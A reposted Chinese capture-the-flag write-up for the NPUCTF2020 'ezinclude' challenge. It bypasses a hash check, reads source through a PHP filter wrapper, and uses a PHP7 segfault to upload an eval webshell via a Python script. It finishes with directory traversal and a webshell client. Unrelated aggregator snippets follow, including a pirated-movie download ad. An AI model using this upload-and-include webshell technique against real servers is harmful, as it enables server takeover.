[NPUCTF2020]ezinclude 1

news/2024/9/20 19:31:03/文章来源:https://www.cnblogs.com/z2gh/p/18299734

md5,

题目打开之后是什么都没有的,直接进行抓包

可以看到是给了一个hash值的,而且告诉了
Set-Cookie中的Hash就是$md5($secret.$name)(经典脑洞)
如果$name='',则有$md5($secret.$name)=$md5($secret)=上面的Hash
则/?pass=上面的Hash即可,或者带上&name=传递空值

访问flflflflag.php

发现什么都没有只有一个include函数,伪协议读一下这个页面源码尝试一下

<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

发现data伪协议和php://input都被ban了,这里借鉴了一下其他师傅的wp,发现这里用的是一个php特性
利用 php7 segment fault 特性
大致意思是:使用伪协议php://filter中的string.strip_stags 过滤器 并上传文件 php的垃圾回收机制就不会继续执行 使post传递的文件存储在/temp/文件下
10.利用条件
php7.0.0-7.1.2可以利用
php7.1.3-7.2.1可以利用
php7.2.2-7.2.8可以利用
可以获取文件名
源代码get参数进行文件包含
同时tmp下的文件会放在dir.php中

import requests as res
from io import BytesIO
url="http://cae4856d-9645-4f78-9a21-1b19470828b5.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" #phpfile对应的就是上传的文件的内容
phpfile="<?php @eval($_POST['a']); ?>"
filedata={"file":phpfile
}
bak=res.post(url=url,files=filedata)
print(bak.text)

运行后

此时文件是上传上去了的
脚本最后会输出BUUCTF容器不存在的页面,但这并不意味着我们操作失败了,按照知识点来说属于是"php崩溃清空堆栈重启",我们脚本中上传的文件还是存在的。
访问dir.php查看我们上传后的文件。

找到了我们上传的文件名之后进行目录穿越蚁剑连../../../../../tmp/phpWHPmtj

发现不在,可能在phpinfo中同样的方法,只需要更改上传代码即可,最终在phpinfo中找见

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/742982.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python序列

Python序列 在Python中,序列类型包括字符串、列表、元组、集合和字典,这些序列支持以下几种通用的操作,但比较特殊的是,集合和字典不支持索引、切片、相加和相乘操作。字符串也是一种常见的序列,它也可以直接通过索引访问字符串内的字符。序列索引 序列中,每个元素都有属…

电影《抓娃娃》迅雷BT完整下载[MP4/2.12GB/5.38GB]高清版画质百度云资源[1080p]

在2024年的暑期档,一部由沈腾和马丽主演的爆笑喜剧电影《抓娃娃》横空出世,迅速吸引了广大观众的眼球。这部由闫非、彭大魔执导,彭大魔、闫非、林炳宝共同编剧的作品,不仅延续了开心麻花一贯的幽默风格,更在笑声中融入了深刻的家庭与教育议题,成为了一部既娱乐又具有深度…

vs2022导入optional库optional还报错,解决

修改c++标准为C++17以上项目属性->c/c++->语言 修改c++标准超过c++17VS默认用的标准太低了....这个是C++17引入的参考:https://stackoverflow.com/questions/62370027/namespace-std-does-not-contain-optional

后缀数组【jiangly模板】

目录后缀数组简介后缀数组可以用于什么场景如何实现后缀数组倍增法求后缀数组\(height\) 数组\(LCP\) (最长公共前缀)\(height\)代码模板参考文章后缀数组是一种非常强大的一种处理字符串问题的工具后缀数组简介前置知识:计数排序、基数排序后缀数组(Suffix Array)主要关系…

P2120 [ZJOI2007] 仓库建设

在解决形如 $f_i=\max(f_j+x)$,$x$ 为一些式子的时候可以考虑使用斜率优化,将 $x$ 转成函数然后求这些能取到的函数在 $x$ 上的最高或最低点,从而得到优化。题目大意 \(n\) 个工厂,每个工厂有 \(p_i\) 的货物,货物运输一个单位距离的费用是 \(1\),工厂可以建造仓库,费用…

如何对Linux系统进行基准测试5工具UnixBench

UnixBenchUnixBench是一款跨平台基准测试工具,用于评估各种类Unix系统(包括Linux、BSD和macOS)的系统性能。它提供了一套全面的测试套件,可评估系统性能的不同方面,包括:系统调用: 此测试衡量进行系统调用的开销,系统调用是应用程序与操作系统内核交互的主要方式。 文件…

解决vscode项目中无法识别宏定义的问题

在c_cpp_properties.json中的"defines":[]中定义的宏无法被识别。 从而导致代码中的宏开关无法生效,造成代码的阅读不便利。 排查路线是: 关闭所有插件,删除当前工程目录下的.vscode文件夹。 经过一系列排查发现是C/C++插件与clangd插件有冲突, 解决方法很简单,…

vs使用AnkhSVN冲突

he problem seems to be the (as the error hints) the propertybag within the solution file问题似乎是解决方案文件中的 propertybag(如错误提示的那样) So a work around of this issue:因此,此问题的解决方法:You have a "solution.sln" created with VS 20…

0175-GDB 调试 multiboot 启动

环境Time 2022-11-12 WSL-Ubuntu 22.04 QEMU 6.2.0 NASM 2.15.05前言 说明 参考:https://os.phil-opp.com/multiboot-kernel/ 目标 使用编写好的内核可执行文件,直接从 QEMU 启动,启动时暂停 CPU,使用 GDB 调试。 汇编代码 section .multiboot_header header_start:dd 0x1B…

0172-执行内核文件

环境Time 2022-11-11 WSL-Ubuntu 22.04 QEMU 6.2.0 NASM 2.15.05前言 说明 参考:https://os.phil-opp.com/multiboot-kernel/ 目标 将编写好的内核可执行文件,制作成 ISO 镜像,然后从 QEMU 启动。 建立文件目录 isofiles └── boot├── grub│ └── grub.cfg└── …

TDA4VM-SK配置与应用杂谈

TDA4VM-SK配置与应用杂谈硬件信息:SK-TDA4VM 用户指南处理器SDK Linux边缘AI文档配置文档:SK-TDA4VM处理器SDK Linux文档-getting_started,详细说明了如何配置,下面是简要步骤:物料准备: SK板,microUSB串口线,USB camera,HDMI/DP显示器,≥16GB的内存卡,网线和局域网…